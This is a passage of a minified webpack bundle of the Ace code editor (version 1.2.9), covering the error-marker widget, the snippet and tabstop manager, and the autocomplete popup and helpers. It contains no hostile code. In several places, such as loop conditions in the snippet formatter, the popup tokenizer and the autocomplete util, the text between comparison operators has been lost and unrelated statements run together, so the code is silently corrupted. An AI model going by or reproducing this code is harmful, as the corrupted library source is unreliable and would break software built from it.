c=a.coverGutter?0:t.gutterWidth;a.fixedWidth||(c-=t.scrollLeft),a.el.style.left=c+"px",a.fullWidth&&a.screenWidth&&(a.el.style.minWidth=i.width+2*i.padding+"px"),a.fixedWidth?a.el.style.right=t.scrollBar.getWidth()+"px":a.el.style.right=""}}}}}).call(s.prototype),t.LineWidgets=s})),ace.define("ace/ext/error_marker",["require","exports","module","ace/line_widgets","ace/lib/dom","ace/range"],(function(e,t,i){"use strict";var n=e("../line_widgets").LineWidgets,s=e("../lib/dom"),o=e("../range").Range;function r(e,t,i){var n=0,s=e.length-1;while(n<=s){var o=n+s>>1,r=i(t,e[o]);if(r>0)n=o+1;else{if(!(r<0))return o;s=o-1}}return-(n+1)}function a(e,t,i){var n=e.getAnnotations().sort(o.comparePoints);if(n.length){var s=r(n,{row:t,column:-1},o.comparePoints);s<0&&(s=-s-1),s>=n.length?s=i>0?0:n.length-1:0===s&&i<0&&(s=n.length-1);var a=n[s];if(a&&i){if(a.row===t){do{a=n[s+=i]}while(a&&a.row===t);if(!a)return n.slice()}var l=[];t=a.row;do{l[i<0?"unshift":"push"](a),a=n[s+=i]}while(a&&a.row==t);return l.length&&l}}}t.showErrorMarker=function(e,t){var i=e.session;i.widgetManager||(i.widgetManager=new n(i),i.widgetManager.attach(e));var o=e.getCursorPosition(),r=o.row,l=i.widgetManager.getWidgetsAtRow(r).filter((function(e){return"errorMarker"==e.type}))[0];l?l.destroy():r-=t;var c,h=a(i,r,t);if(h){var u=h[0];o.column=(u.pos&&"number"!=typeof u.column?u.pos.sc:u.column)||0,o.row=u.row,c=e.renderer.$gutterLayer.$annotations[o.row]}else{if(l)return;c={text:["Looks good!"],className:"ace_ok"}}e.session.unfold(o.row),e.selection.moveToPosition(o);var d={row:o.row,fixedWidth:!0,coverGutter:!0,el:s.createElement("div"),type:"errorMarker"},g=d.el.appendChild(s.createElement("div")),f=d.el.appendChild(s.createElement("div"));f.className="error_widget_arrow "+c.className;var p=e.renderer.$cursorLayer.getPixelPosition(o).left;f.style.left=p+e.renderer.gutterWidth-5+"px",d.el.className="error_widget_wrapper",g.className="error_widget "+c.className,g.innerHTML=c.text.join("
"),g.appendChild(s.createElement("div"));var m=function(e,t,i){if(0===t&&("esc"===i||"return"===i))return d.destroy(),{command:"null"}};d.destroy=function(){e.$mouseHandler.isMousePressed||(e.keyBinding.removeKeyboardHandler(m),i.widgetManager.removeLineWidget(d),e.off("changeSelection",d.destroy),e.off("changeSession",d.destroy),e.off("mouseup",d.destroy),e.off("change",d.destroy))},e.keyBinding.addKeyboardHandler(m),e.on("changeSelection",d.destroy),e.on("changeSession",d.destroy),e.on("mouseup",d.destroy),e.on("change",d.destroy),e.session.widgetManager.addLineWidget(d),d.el.onmousedown=e.focus.bind(e),e.renderer.scrollCursorIntoView(null,.5,{bottom:d.el.offsetHeight})},s.importCssString(" .error_widget_wrapper { background: inherit; color: inherit; border:none } .error_widget { border-top: solid 2px; border-bottom: solid 2px; margin: 5px 0; padding: 10px 40px; white-space: pre-wrap; } .error_widget.ace_error, .error_widget_arrow.ace_error{ border-color: #ff5a5a } .error_widget.ace_warning, .error_widget_arrow.ace_warning{ border-color: #F1D817 } .error_widget.ace_info, .error_widget_arrow.ace_info{ border-color: #5a5a5a } .error_widget.ace_ok, .error_widget_arrow.ace_ok{ border-color: #5aaa5a } .error_widget_arrow { position: absolute; border: solid 5px; border-top-color: transparent!important; border-right-color: transparent!important; border-left-color: transparent!important; top: -5px; }","")})),ace.define("ace/ace",["require","exports","module","ace/lib/fixoldbrowsers","ace/lib/dom","ace/lib/event","ace/editor","ace/edit_session","ace/undomanager","ace/virtual_renderer","ace/worker/worker_client","ace/keyboard/hash_handler","ace/placeholder","ace/multi_select","ace/mode/folding/fold_mode","ace/theme/textmate","ace/ext/error_marker","ace/config"],(function(e,t,n){"use strict";e("./lib/fixoldbrowsers");var s=e("./lib/dom"),o=e("./lib/event"),r=e("./editor").Editor,a=e("./edit_session").EditSession,l=e("./undomanager").UndoManager,c=e("./virtual_renderer").VirtualRenderer;e("./worker/worker_client"),e("./keyboard/hash_handler"),e("./placeholder"),e("./multi_select"),e("./mode/folding/fold_mode"),e("./theme/textmate"),e("./ext/error_marker"),t.config=e("./config"),t.acequire=e,t.define=i("07d6"),t.edit=function(e){if("string"==typeof e){var i=e;if(e=document.getElementById(i),!e)throw new Error("ace.edit can't find div #"+i)}if(e&&e.env&&e.env.editor instanceof r)return e.env.editor;var n="";if(e&&/input|textarea/i.test(e.tagName)){var a=e;n=a.value,e=s.createElement("pre"),a.parentNode.replaceChild(e,a)}else e&&(n=s.getInnerText(e),e.innerHTML="");var l=t.createEditSession(n),h=new r(new c(e));h.setSession(l);var u={document:l,editor:h,onResize:h.resize.bind(h,null)};return a&&(u.textarea=a),o.addListener(window,"resize",u.onResize),h.on("destroy",(function(){o.removeListener(window,"resize",u.onResize),u.editor.container.env=null})),h.container.env=h.env=u,h},t.createEditSession=function(e,t){var i=new a(e,t);return i.setUndoManager(new l),i},t.EditSession=a,t.UndoManager=l,t.version="1.2.9"})),function(){ace.acequire(["ace/ace"],(function(e){for(var t in e&&(e.config.init(!0),e.define=ace.define),window.ace||(window.ace=e),e)e.hasOwnProperty(t)&&(window.ace[t]=e[t])}))}(),e.exports=window.ace.acequire("ace/ace")},"07d6":function(e,t){e.exports=function(){throw new Error("define cannot be used indirect")}},2099:function(e,t){ace.define("ace/snippets",["require","exports","module","ace/lib/oop","ace/lib/event_emitter","ace/lib/lang","ace/range","ace/anchor","ace/keyboard/hash_handler","ace/tokenizer","ace/lib/dom","ace/editor"],(function(e,t,i){"use strict";var n=e("./lib/oop"),s=e("./lib/event_emitter").EventEmitter,o=e("./lib/lang"),r=e("./range").Range,a=e("./anchor").Anchor,l=e("./keyboard/hash_handler").HashHandler,c=e("./tokenizer").Tokenizer,h=r.comparePoints,u=function(){this.snippetMap={},this.snippetNameMap={}};(function(){n.implement(this,s),this.getTokenizer=function(){function e(e,t,i){return e=e.substr(1),/^\d+$/.test(e)&&!i.inFormatString?[{tabstopId:parseInt(e,10)}]:[{text:e}]}function t(e){return"(?:[^\\\\"+e+"]|\\\\.)"}return u.$tokenizer=new c({start:[{regex:/:/,onMatch:function(e,t,i){return i.length&&i[0].expectIf?(i[0].expectIf=!1,i[0].elseBranch=i[0],[i[0]]):":"}},{regex:/\\./,onMatch:function(e,t,i){var n=e[1];return"}"==n&&i.length||-1!="`$\\".indexOf(n)?e=n:i.inFormatString&&("n"==n||"t"==n?e="\n":-1!="ulULE".indexOf(n)&&(e={changeCase:n,local:n>"a"})),[e]}},{regex:/}/,onMatch:function(e,t,i){return[i.length?i.shift():e]}},{regex:/\$(?:\d+|\w+)/,onMatch:e},{regex:/\$\{[\dA-Z_a-z]+/,onMatch:function(t,i,n){var s=e(t.substr(1),i,n);return n.unshift(s[0]),s},next:"snippetVar"},{regex:/\n/,token:"newline",merge:!1}],snippetVar:[{regex:"\\|"+t("\\|")+"*\\|",onMatch:function(e,t,i){i[0].choices=e.slice(1,-1).split(",")},next:"start"},{regex:"/("+t("/")+"+)/(?:("+t("/")+"*)/)(\\w*):?",onMatch:function(e,t,i){var n=i[0];return n.fmtString=e,e=this.splitRegex.exec(e),n.guard=e[1],n.fmt=e[2],n.flag=e[3],""},next:"start"},{regex:"`"+t("`")+"*`",onMatch:function(e,t,i){return i[0].code=e.splice(1,-1),""},next:"start"},{regex:"\\?",onMatch:function(e,t,i){i[0]&&(i[0].expectIf=!0)},next:"start"},{regex:"([^:}\\\\]|\\\\.)*:?",token:"",next:"start"}],formatString:[{regex:"/("+t("/")+"+)/",token:"regex"},{regex:"",onMatch:function(e,t,i){i.inFormatString=!0},next:"start"}]}),u.prototype.getTokenizer=function(){return u.$tokenizer},u.$tokenizer},this.tokenizeTmSnippet=function(e,t){return this.getTokenizer().getLineTokens(e,t).tokens.map((function(e){return e.value||e}))},this.$getDefaultValue=function(e,t){if(/^[A-Z]\d+$/.test(t)){var i=t.substr(1);return(this.variables[t[0]+"__"]||{})[i]}if(/^\d+$/.test(t))return(this.variables.__||{})[t];if(t=t.replace(/^TM_/,""),e){var n=e.session;switch(t){case"CURRENT_WORD":var s=n.getWordRange();case"SELECTION":case"SELECTED_TEXT":return n.getTextRange(s);case"CURRENT_LINE":return n.getLine(e.getCursorPosition().row);case"PREV_LINE":return n.getLine(e.getCursorPosition().row-1);case"LINE_INDEX":return e.getCursorPosition().column;case"LINE_NUMBER":return e.getCursorPosition().row+1;case"SOFT_TABS":return n.getUseSoftTabs()?"YES":"NO";case"TAB_SIZE":return n.getTabSize();case"FILENAME":case"FILEPATH":return"";case"FULLNAME":return"Ace"}}},this.variables={},this.getVariableValue=function(e,t){return this.variables.hasOwnProperty(t)?this.variables[t](e,t)||"":this.$getDefaultValue(e,t)||""},this.tmStrFormat=function(e,t,i){var n=t.flag||"",s=t.guard;s=new RegExp(s,n.replace(/[^gi]/,""));var o=this.tokenizeTmSnippet(t.fmt,"formatString"),r=this,a=e.replace(s,(function(){r.variables.__=arguments;for(var e=r.resolveVariables(o,i),t="E",n=0;n1?(v=t[t.length-1].length,A+=t.length-1):v+=e.length,C+=e}else e.start?e.end={row:A,column:v}:e.start={row:A,column:v}}));var w=e.getSelectionRange(),F=e.session.replace(w,C),b=new d(e),E=e.inVirtualSelectionMode&&e.selection.index;b.addTabstops(a,w.start,F,E)},this.insertSnippet=function(e,t){var i=this;if(e.inVirtualSelectionMode)return i.insertSnippetForSelection(e,t);e.forEachSelection((function(){i.insertSnippetForSelection(e,t)}),null,{keepOrder:!0}),e.tabstopManager&&e.tabstopManager.tabNext()},this.$getScope=function(e){var t=e.session.$mode.$id||"";if(t=t.split("/").pop(),"html"===t||"php"===t){"php"!==t||e.session.$mode.inlinePhp||(t="html");var i=e.getCursorPosition(),n=e.session.getState(i.row);"object"===typeof n&&(n=n[0]),n.substring&&("js-"==n.substring(0,3)?t="javascript":"css-"==n.substring(0,4)?t="css":"php-"==n.substring(0,4)&&(t="php"))}return t},this.getActiveScopes=function(e){var t=this.$getScope(e),i=[t],n=this.snippetMap;return n[t]&&n[t].includeScopes&&i.push.apply(i,n[t].includeScopes),i.push("_"),i},this.expandWithTab=function(e,t){var i=this,n=e.forEachSelection((function(){return i.expandSnippetForSelection(e,t)}),null,{keepOrder:!0});return n&&e.tabstopManager&&e.tabstopManager.tabNext(),n},this.expandSnippetForSelection=function(e,t){var i,n=e.getCursorPosition(),s=e.session.getLine(n.row),o=s.substring(0,n.column),r=s.substr(n.column),a=this.snippetMap;return this.getActiveScopes(e).some((function(e){var t=a[e];return t&&(i=this.findMatchingSnippet(t,o,r)),!!i}),this),!!i&&(t&&t.dryRun||(e.session.doc.removeInLine(n.row,n.column-i.replaceBefore.length,n.column+i.replaceAfter.length),this.variables.M__=i.matchBefore,this.variables.T__=i.matchAfter,this.insertSnippetForSelection(e,i.content),this.variables.M__=this.variables.T__=null),!0)},this.findMatchingSnippet=function(e,t,i){for(var n=e.length;n--;){var s=e[n];if((!s.startRe||s.startRe.test(t))&&((!s.endRe||s.endRe.test(i))&&(s.startRe||s.endRe)))return s.matchBefore=s.startRe?s.startRe.exec(t):[""],s.matchAfter=s.endRe?s.endRe.exec(i):[""],s.replaceBefore=s.triggerRe?s.triggerRe.exec(t)[0]:"",s.replaceAfter=s.endTriggerRe?s.endTriggerRe.exec(i)[0]:"",s}},this.snippetMap={},this.snippetNameMap={},this.register=function(e,t){var i=this.snippetMap,n=this.snippetNameMap,s=this;function r(e){return e&&!/^\^?\(.*\)\$?$|^\\b$/.test(e)&&(e="(?:"+e+")"),e||""}function a(e,t,i){return e=r(e),t=r(t),i?(e=t+e,e&&"$"!=e[e.length-1]&&(e+="$")):(e+=t,e&&"^"!=e[0]&&(e="^"+e)),new RegExp(e)}function l(e){e.scope||(e.scope=t||"_"),t=e.scope,i[t]||(i[t]=[],n[t]={});var r=n[t];if(e.name){var l=r[e.name];l&&s.unregister(l),r[e.name]=e}i[t].push(e),e.tabTrigger&&!e.trigger&&(!e.guard&&/^\w/.test(e.tabTrigger)&&(e.guard="\\b"),e.trigger=o.escapeRegExp(e.tabTrigger)),(e.trigger||e.guard||e.endTrigger||e.endGuard)&&(e.startRe=a(e.trigger,e.guard,!0),e.triggerRe=new RegExp(e.trigger,"",!0),e.endRe=a(e.endTrigger,e.endGuard,!0),e.endTriggerRe=new RegExp(e.endTrigger,"",!0))}e||(e=[]),e&&e.content?l(e):Array.isArray(e)&&e.forEach(l),this._signal("registerSnippets",{scope:t})},this.unregister=function(e,t){var i=this.snippetMap,n=this.snippetNameMap;function s(e){var s=n[e.scope||t];if(s&&s[e.name]){delete s[e.name];var o=i[e.scope||t],r=o&&o.indexOf(e);r>=0&&o.splice(r,1)}}e.content?s(e):Array.isArray(e)&&e.forEach(s)},this.parseSnippetFile=function(e){e=e.replace(/\r/g,"");var t,i=[],n={},s=/^#.*|^({[\s\S]*})\s*$|^(\S+) (.*)$|^((?:\n*\t.*)+)/gm;while(t=s.exec(e)){if(t[1])try{n=JSON.parse(t[1]),i.push(n)}catch(l){}if(t[4])n.content=t[4].replace(/^\t/gm,""),i.push(n),n={};else{var o=t[2],r=t[3];if("regex"==o){var a=/\/((?:[^\/\\]|\\.)*)|$/g;n.guard=a.exec(r)[1],n.trigger=a.exec(r)[1],n.endTrigger=a.exec(r)[1],n.endGuard=a.exec(r)[1]}else"snippet"==o?(n.tabTrigger=r.match(/^\S*/)[0],n.name||(n.name=r)):n[o]=r}}return i},this.getSnippetByName=function(e,t){var i,n=this.snippetNameMap;return this.getActiveScopes(t).some((function(t){var s=n[t];return s&&(i=s[e]),!!i}),this),i}}).call(u.prototype);var d=function(e){if(e.tabstopManager)return e.tabstopManager;e.tabstopManager=this,this.$onChange=this.onChange.bind(this),this.$onChangeSelection=o.delayedCall(this.onChangeSelection.bind(this)).schedule,this.$onChangeSession=this.onChangeSession.bind(this),this.$onAfterExec=this.onAfterExec.bind(this),this.attach(e)};(function(){this.attach=function(e){this.index=0,this.ranges=[],this.tabstops=[],this.$openTabstops=null,this.selectedTabstop=null,this.editor=e,this.editor.on("change",this.$onChange),this.editor.on("changeSelection",this.$onChangeSelection),this.editor.on("changeSession",this.$onChangeSession),this.editor.commands.on("afterExec",this.$onAfterExec),this.editor.keyBinding.addKeyboardHandler(this.keyboardHandler)},this.detach=function(){this.tabstops.forEach(this.removeTabstopMarkers,this),this.ranges=null,this.tabstops=null,this.selectedTabstop=null,this.editor.removeListener("change",this.$onChange),this.editor.removeListener("changeSelection",this.$onChangeSelection),this.editor.removeListener("changeSession",this.$onChangeSession),this.editor.commands.removeListener("afterExec",this.$onAfterExec),this.editor.keyBinding.removeKeyboardHandler(this.keyboardHandler),this.editor.tabstopManager=null,this.editor=null},this.onChange=function(e){var t="r"==e.action[0],i=e.start,n=e.end,s=i.row,o=n.row,r=o-s,a=n.column-i.column;if(t&&(r=-r,a=-a),!this.$inChange&&t){var l=this.selectedTabstop,c=l&&!l.some((function(e){return h(e.start,i)<=0&&h(e.end,n)>=0}));if(c)return this.detach()}for(var u=this.ranges,d=0;d0?(this.removeRange(g),d--):(g.start.row==s&&g.start.column>i.column&&(g.start.column+=a),g.end.row==s&&g.end.column>=i.column&&(g.end.column+=a),g.start.row>=s&&(g.start.row+=r),g.end.row>=s&&(g.end.row+=r),h(g.start,g.end)>0&&this.removeRange(g)))}u.length||this.detach()},this.updateLinkedFields=function(){var e=this.selectedTabstop;if(e&&e.hasLinkedRanges){this.$inChange=!0;for(var i=this.editor.session,n=i.getTextRange(e.firstNonLinked),s=e.length;s--;){var o=e[s];if(o.linked){var r=t.snippetManager.tmStrFormat(n,o.original);i.replace(o,r)}}this.$inChange=!1}},this.onAfterExec=function(e){e.command&&!e.command.readOnly&&this.updateLinkedFields()},this.onChangeSelection=function(){if(this.editor){for(var e=this.editor.selection.lead,t=this.editor.selection.anchor,i=this.editor.selection.isEmpty(),n=this.ranges.length;n--;)if(!this.ranges[n].linked){var s=this.ranges[n].contains(e.row,e.column),o=i||this.ranges[n].contains(t.row,t.column);if(s&&o)return}this.detach()}},this.onChangeSession=function(){this.detach()},this.tabNext=function(e){var t=this.tabstops.length,i=this.index+(e||1);i=Math.min(Math.max(i,1),t),i==t&&(i=0),this.selectTabstop(i),0===i&&this.detach()},this.selectTabstop=function(e){this.$openTabstops=null;var t=this.tabstops[this.index];if(t&&this.addTabstopMarkers(t),this.index=e,t=this.tabstops[this.index],t&&t.length){if(this.selectedTabstop=t,this.editor.inVirtualSelectionMode)this.editor.selection.setRange(t.firstNonLinked);else{var i=this.editor.multiSelect;i.toSingleRange(t.firstNonLinked.clone());for(var n=t.length;n--;)t.hasLinkedRanges&&t[n].linked||i.addRange(t[n].clone(),!0);i.ranges[0]&&i.addRange(i.ranges[0].clone())}this.editor.keyBinding.addKeyboardHandler(this.keyboardHandler)}},this.addTabstops=function(e,t,i){if(this.$openTabstops||(this.$openTabstops=[]),!e[0]){var n=r.fromPoints(i,i);p(n.start,t),p(n.end,t),e[0]=[n],e[0].index=0}var s=this.index,o=[s+1,0],a=this.ranges;e.forEach((function(e,i){for(var n=this.$openTabstops[i]||e,s=e.length;s--;){var l=e[s],c=r.fromPoints(l.start,l.end||l.start);f(c.start,t),f(c.end,t),c.original=l,c.tabstop=n,a.push(c),n!=e?n.unshift(c):n[s]=c,l.fmtString?(c.linked=!0,n.hasLinkedRanges=!0):n.firstNonLinked||(n.firstNonLinked=c)}n.firstNonLinked||(n.hasLinkedRanges=!1),n===e&&(o.push(n),this.$openTabstops[i]=n),this.addTabstopMarkers(n)}),this),o.length>2&&(this.tabstops.length&&o.push(o.splice(2,1)[0]),this.tabstops.splice.apply(this.tabstops,o))},this.addTabstopMarkers=function(e){var t=this.editor.session;e.forEach((function(e){e.markerId||(e.markerId=t.addMarker(e,"ace_snippet-marker","text"))}))},this.removeTabstopMarkers=function(e){var t=this.editor.session;e.forEach((function(e){t.removeMarker(e.markerId),e.markerId=null}))},this.removeRange=function(e){var t=e.tabstop.indexOf(e);e.tabstop.splice(t,1),t=this.ranges.indexOf(e),this.ranges.splice(t,1),this.editor.session.removeMarker(e.markerId),e.tabstop.length||(t=this.tabstops.indexOf(e.tabstop),-1!=t&&this.tabstops.splice(t,1),this.tabstops.length||this.detach())},this.keyboardHandler=new l,this.keyboardHandler.bindKeys({Tab:function(e){t.snippetManager&&t.snippetManager.expandWithTab(e)||e.tabstopManager.tabNext(1)},"Shift-Tab":function(e){e.tabstopManager.tabNext(-1)},Esc:function(e){e.tabstopManager.detach()},Return:function(e){return!1}})}).call(d.prototype);var g={};g.onChange=a.prototype.onChange,g.setPosition=function(e,t){this.pos.row=e,this.pos.column=t},g.update=function(e,t,i){this.$insertRight=i,this.pos=e,this.onChange(t)};var f=function(e,t){0==e.row&&(e.column+=t.column),e.row+=t.row},p=function(e,t){e.row==t.row&&(e.column-=t.column),e.row-=t.row};e("./lib/dom").importCssString(".ace_snippet-marker { -moz-box-sizing: border-box; box-sizing: border-box; background: rgba(194, 193, 208, 0.09); border: 1px dotted rgba(211, 208, 235, 0.62); position: absolute;}"),t.snippetManager=new u;var m=e("./editor").Editor;(function(){this.insertSnippet=function(e,i){return t.snippetManager.insertSnippet(this,e,i)},this.expandSnippet=function(e){return t.snippetManager.expandWithTab(this,e)}}).call(m.prototype)})),ace.define("ace/autocomplete/popup",["require","exports","module","ace/virtual_renderer","ace/editor","ace/range","ace/lib/event","ace/lib/lang","ace/lib/dom"],(function(e,t,i){"use strict";var n=e("../virtual_renderer").VirtualRenderer,s=e("../editor").Editor,o=e("../range").Range,r=e("../lib/event"),a=e("../lib/lang"),l=e("../lib/dom"),c=function(e){var t=new n(e);t.$maxLines=4;var i=new s(t);return i.setHighlightActiveLine(!1),i.setShowPrintMargin(!1),i.renderer.setShowGutter(!1),i.renderer.setHighlightGutterLine(!1),i.$mouseHandler.$focusWaitTimout=0,i.$highlightTagPending=!0,i},h=function(e){var t=l.createElement("div"),i=new c(t);e&&e.appendChild(t),t.style.display="none",i.renderer.content.style.cursor="default",i.renderer.setStyle("ace_autocomplete"),i.setOption("displayIndentGuides",!1),i.setOption("dragDelay",150);var n,s=function(){};i.focus=s,i.$isFocused=!0,i.renderer.$cursorLayer.restartTimer=s,i.renderer.$cursorLayer.element.style.opacity=0,i.renderer.$maxLines=8,i.renderer.$keepTextAreaAtCursor=!1,i.setHighlightActiveLine(!1),i.session.highlight(""),i.session.$searchHighlight.clazz="ace_highlight-marker",i.on("mousedown",(function(e){var t=e.getDocumentPosition();i.selection.moveToPosition(t),u.start.row=u.end.row=t.row,e.stop()}));var h=new o(-1,0,-1,1/0),u=new o(-1,0,-1,1/0);u.id=i.session.addMarker(u,"ace_active-line","fullLine"),i.setSelectOnHover=function(e){e?h.id&&(i.session.removeMarker(h.id),h.id=null):h.id=i.session.addMarker(h,"ace_line-hover","fullLine")},i.setSelectOnHover(!1),i.on("mousemove",(function(e){if(n){if(n.x!=e.x||n.y!=e.y){n=e,n.scrollTop=i.renderer.scrollTop;var t=n.getDocumentPosition().row;h.start.row!=t&&(h.id||i.setRow(t),g(t))}}else n=e})),i.renderer.on("beforeRender",(function(){if(n&&-1!=h.start.row){n.$pos=null;var e=n.getDocumentPosition().row;h.id||i.setRow(e),g(e,!0)}})),i.renderer.on("afterRender",(function(){var e=i.getRow(),t=i.renderer.$textLayer,n=t.element.childNodes[e-t.config.firstRow];n!=t.selectedNode&&(t.selectedNode&&l.removeCssClass(t.selectedNode,"ace_selected"),t.selectedNode=n,n&&l.addCssClass(n,"ace_selected"))}));var d=function(){g(-1)},g=function(e,t){e!==h.start.row&&(h.start.row=h.end.row=e,t||i.session._emit("changeBackMarker"),i._emit("changeHoverMarker"))};i.getHoveredRow=function(){return h.start.row},r.addListener(i.container,"mouseout",d),i.on("hide",d),i.on("changeSelection",d),i.session.doc.getLength=function(){return i.data.length},i.session.doc.getLine=function(e){var t=i.data[e];return"string"==typeof t?t:t&&t.value||""};var f=i.session.bgTokenizer;return f.$tokenizeRow=function(e){var t=i.data[e],n=[];if(!t)return n;"string"==typeof t&&(t={value:t}),t.caption||(t.caption=t.value||t.name);for(var s,o,r=-1,a=0;al-2&&(c=c.substr(0,l-t.caption.length-3)+"…"),n.push({type:"rightAlignedText",value:c})}return n},f.$updateOnChange=s,f.start=s,i.session.$computeWidth=function(){return this.screenWidth=0},i.$blockScrolling=1/0,i.isOpen=!1,i.isTopdown=!1,i.autoSelect=!0,i.data=[],i.setData=function(e){i.setValue(a.stringRepeat("\n",e.length),-1),i.data=e||[],i.setRow(0)},i.getData=function(e){return i.data[e]},i.getRow=function(){return u.start.row},i.setRow=function(e){e=Math.max(this.autoSelect?0:-1,Math.min(this.data.length,e)),u.start.row!=e&&(i.selection.clearSelection(),u.start.row=u.end.row=e||0,i.session._emit("changeBackMarker"),i.moveCursorTo(e||0,0),i.isOpen&&i._signal("select"))},i.on("changeSelection",(function(){i.isOpen&&i.setRow(i.selection.lead.row),i.renderer.scrollCursorIntoView()})),i.hide=function(){this.container.style.display="none",this._signal("hide"),i.isOpen=!1},i.show=function(e,t,s){var o=this.container,r=window.innerHeight,a=window.innerWidth,l=this.renderer,c=l.$maxLines*t*1.4,h=e.top+this.$borderSize,u=h>r/2&&!s;u&&h+t+c>r?(l.$maxPixelHeight=h-2*this.$borderSize,o.style.top="",o.style.bottom=r-h+"px",i.isTopdown=!1):(h+=t,l.$maxPixelHeight=r-h-.2*t,o.style.top=h+"px",o.style.bottom="",i.isTopdown=!0),o.style.display="",this.renderer.$textLayer.checkForSizeChanges();var d=e.left;d+o.offsetWidth>a&&(d=a-o.offsetWidth),o.style.left=d+"px",this._signal("show"),n=null,i.isOpen=!0},i.getTextLeftOffset=function(){return this.$borderSize+this.renderer.$padding+this.$imageSize},i.$imageSize=0,i.$borderSize=1,i};l.importCssString(".ace_editor.ace_autocomplete .ace_marker-layer .ace_active-line { background-color: #CAD6FA; z-index: 1;}.ace_editor.ace_autocomplete .ace_line-hover { border: 1px solid #abbffe; margin-top: -1px; background: rgba(233,233,253,0.4);}.ace_editor.ace_autocomplete .ace_line-hover { position: absolute; z-index: 2;}.ace_editor.ace_autocomplete .ace_scroller { background: none; border: none; box-shadow: none;}.ace_rightAlignedText { color: gray; display: inline-block; position: absolute; right: 4px; text-align: right; z-index: -1;}.ace_editor.ace_autocomplete .ace_completion-highlight{ color: #000; text-shadow: 0 0 0.01em;}.ace_editor.ace_autocomplete { width: 280px; z-index: 200000; background: #fbfbfb; color: #444; border: 1px lightgray solid; position: fixed; box-shadow: 2px 3px 5px rgba(0,0,0,.2); line-height: 1.4;}"),t.AcePopup=h})),ace.define("ace/autocomplete/util",["require","exports","module"],(function(e,t,i){"use strict";t.parForEach=function(e,t,i){var n=0,s=e.length;0===s&&i();for(var o=0;o=0;o--){if(!i.test(e[o]))break;s.push(e[o])}return s.reverse().join("")},t.retrieveFollowingIdentifier=function(e,t,i){i=i||n;for(var s=[],o=t;o=i?-1:t+1;break;case"start":t=0;break;case"end":t=i;break}this.popup.setRow(t)},this.insertMatch=function(e,t){if(e||(e=this.popup.getData(this.popup.getRow())),!e)return!1;if(e.completer&&e.completer.insertMatch)e.completer.insertMatch(this.editor,e);else{if(this.completions.filterText)for(var i,n=this.editor.selection.getAllRanges(),s=0;i=n[s];s++)i.start.column-=this.completions.filterText.length,this.editor.session.remove(i);e.snippet?l.insertSnippet(this.editor,e.snippet):this.editor.execCommand("insertstring",e.value||e)}this.detach()},this.commands={Up:function(e){e.completer.goTo("up")},Down:function(e){e.completer.goTo("down")},"Ctrl-Up|Ctrl-Home":function(e){e.completer.goTo("start")},"Ctrl-Down|Ctrl-End":function(e){e.completer.goTo("end")},Esc:function(e){e.completer.detach()},Return:function(e){return e.completer.insertMatch()},"Shift-Return":function(e){e.completer.insertMatch(null,{deleteSuffix:!0})},Tab:function(e){var t=e.completer.insertMatch();if(t||e.tabstopManager)return t;e.completer.goTo("down")},PageUp:function(e){e.completer.popup.gotoPageUp()},PageDown:function(e){e.completer.popup.gotoPageDown()}},this.gatherCompletions=function(e,t){var i=e.getSession(),n=e.getCursorPosition(),s=o.getCompletionPrefix(e);this.base=i.doc.createAnchor(n.row,n.column-s.length),this.base.$insertRight=!0;var r=[],a=e.completers.length;return e.completers.forEach((function(l,c){l.getCompletions(e,i,n,s,(function(i,n){!i&&n&&(r=r.concat(n)),t(null,{prefix:o.getCompletionPrefix(e),matches:r,finished:0===--a})}))})),!0},this.showPopup=function(e){this.editor&&this.detach(),this.activated=!0,this.editor=e,e.completer!=this&&(e.completer&&e.completer.detach(),e.completer=this),e.on("changeSelection",this.changeListener),e.on("blur",this.blurListener),e.on("mousedown",this.mousedownListener),e.on("mousewheel",this.mousewheelListener),this.updateCompletions()},this.updateCompletions=function(e){if(e&&this.base&&this.completions){var t=this.editor.getCursorPosition(),i=this.editor.session.getTextRange({start:this.base,end:t});if(i==this.completions.filterText)return;return this.completions.setFilter(i),this.completions.filtered.length?1!=this.completions.filtered.length||this.completions.filtered[0].value!=i||this.completions.filtered[0].snippet?void this.openPopup(this.editor,i,e):this.detach():this.detach()}var n=this.gatherCompletionsId;this.gatherCompletions(this.editor,function(t,i){var s=function(){if(i.finished)return this.detach()}.bind(this),o=i.prefix,r=i&&i.matches;if(!r||!r.length)return s();if(0===o.indexOf(i.prefix)&&n==this.gatherCompletionsId){this.completions=new h(r),this.exactMatch&&(this.completions.exactMatch=!0),this.completions.setFilter(o);var a=this.completions.filtered;return a.length&&(1!=a.length||a[0].value!=o||a[0].snippet)?this.autoInsert&&1==a.length&&i.finished?this.insertMatch(a[0]):void this.openPopup(this.editor,o,e):s()}}.bind(this))},this.cancelContextMenu=function(){this.editor.$mouseHandler.cancelContextMenu()},this.updateDocTooltip=function(){var e=this.popup,t=e.data,i=t&&(t[e.getHoveredRow()]||t[e.getRow()]),n=null;return i&&this.editor&&this.popup.isOpen?(this.editor.completers.some((function(e){return e.getDocTooltip&&(n=e.getDocTooltip(i)),n})),n||(n=i),"string"==typeof n&&(n={docText:n}),n&&(n.docHTML||n.docText)?void this.showDocTooltip(n):this.hideDocTooltip()):this.hideDocTooltip()},this.showDocTooltip=function(e){this.tooltipNode||(this.tooltipNode=a.createElement("div"),this.tooltipNode.className="ace_tooltip ace_doc-tooltip",this.tooltipNode.style.margin=0,this.tooltipNode.style.pointerEvents="auto",this.tooltipNode.tabIndex=-1,this.tooltipNode.onblur=this.blurListener.bind(this),this.tooltipNode.onclick=this.onTooltipClick.bind(this));var t=this.tooltipNode;e.docHTML?t.innerHTML=e.docHTML:e.docText&&(t.textContent=e.docText),t.parentNode||document.body.appendChild(t);var i=this.popup,n=i.container.getBoundingClientRect();t.style.top=i.container.style.top,t.style.bottom=i.container.style.bottom,window.innerWidth-n.right<320?(t.style.right=window.innerWidth-n.left+"px",t.style.left=""):(t.style.left=n.right+1+"px",t.style.right=""),t.style.display="block"},this.hideDocTooltip=function(){if(this.tooltipTimer.cancel(),this.tooltipNode){var e=this.tooltipNode;this.editor.isFocused()||document.activeElement!=e||this.editor.focus(),this.tooltipNode=null,e.parentNode&&e.parentNode.removeChild(e)}},this.onTooltipClick=function(e){var t=e.target;while(t&&t!=this.tooltipNode){if("A"==t.nodeName&&t.href){t.rel="noreferrer",t.target="_blank";break}t=t.parentNode}}}).call(c.prototype),c.startCommand={name:"startAutocomplete",exec:function(e){e.completer||(e.completer=new c),e.completer.autoInsert=!1,e.completer.autoSelect=!0,e.completer.showPopup(e),e.completer.cancelContextMenu()},bindKey:"Ctrl-Space|Ctrl-Shift-Space|Alt-Space"};var 